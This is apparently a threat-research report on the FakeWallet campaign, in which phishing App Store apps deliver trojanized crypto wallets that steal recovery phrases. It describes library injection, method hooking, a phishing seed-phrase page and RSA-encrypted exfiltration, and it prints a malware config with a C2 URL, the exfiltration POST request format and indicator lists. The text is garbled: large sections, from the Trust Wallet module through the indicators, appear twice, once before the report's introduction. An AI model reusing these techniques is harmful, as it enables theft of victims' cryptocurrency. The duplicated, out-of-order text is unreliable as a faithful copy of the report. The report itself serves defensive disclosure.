The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points:  two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  { "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics "code": "10001", // special code "login-url": "hxxps://xxx[.]com", "login-code": "88761" }
• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic.  The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger

The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points:  two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  { "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics "code": "10001", // special code "login-url": "hxxps://xxx[.]com", "login-code": "88761" }
• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz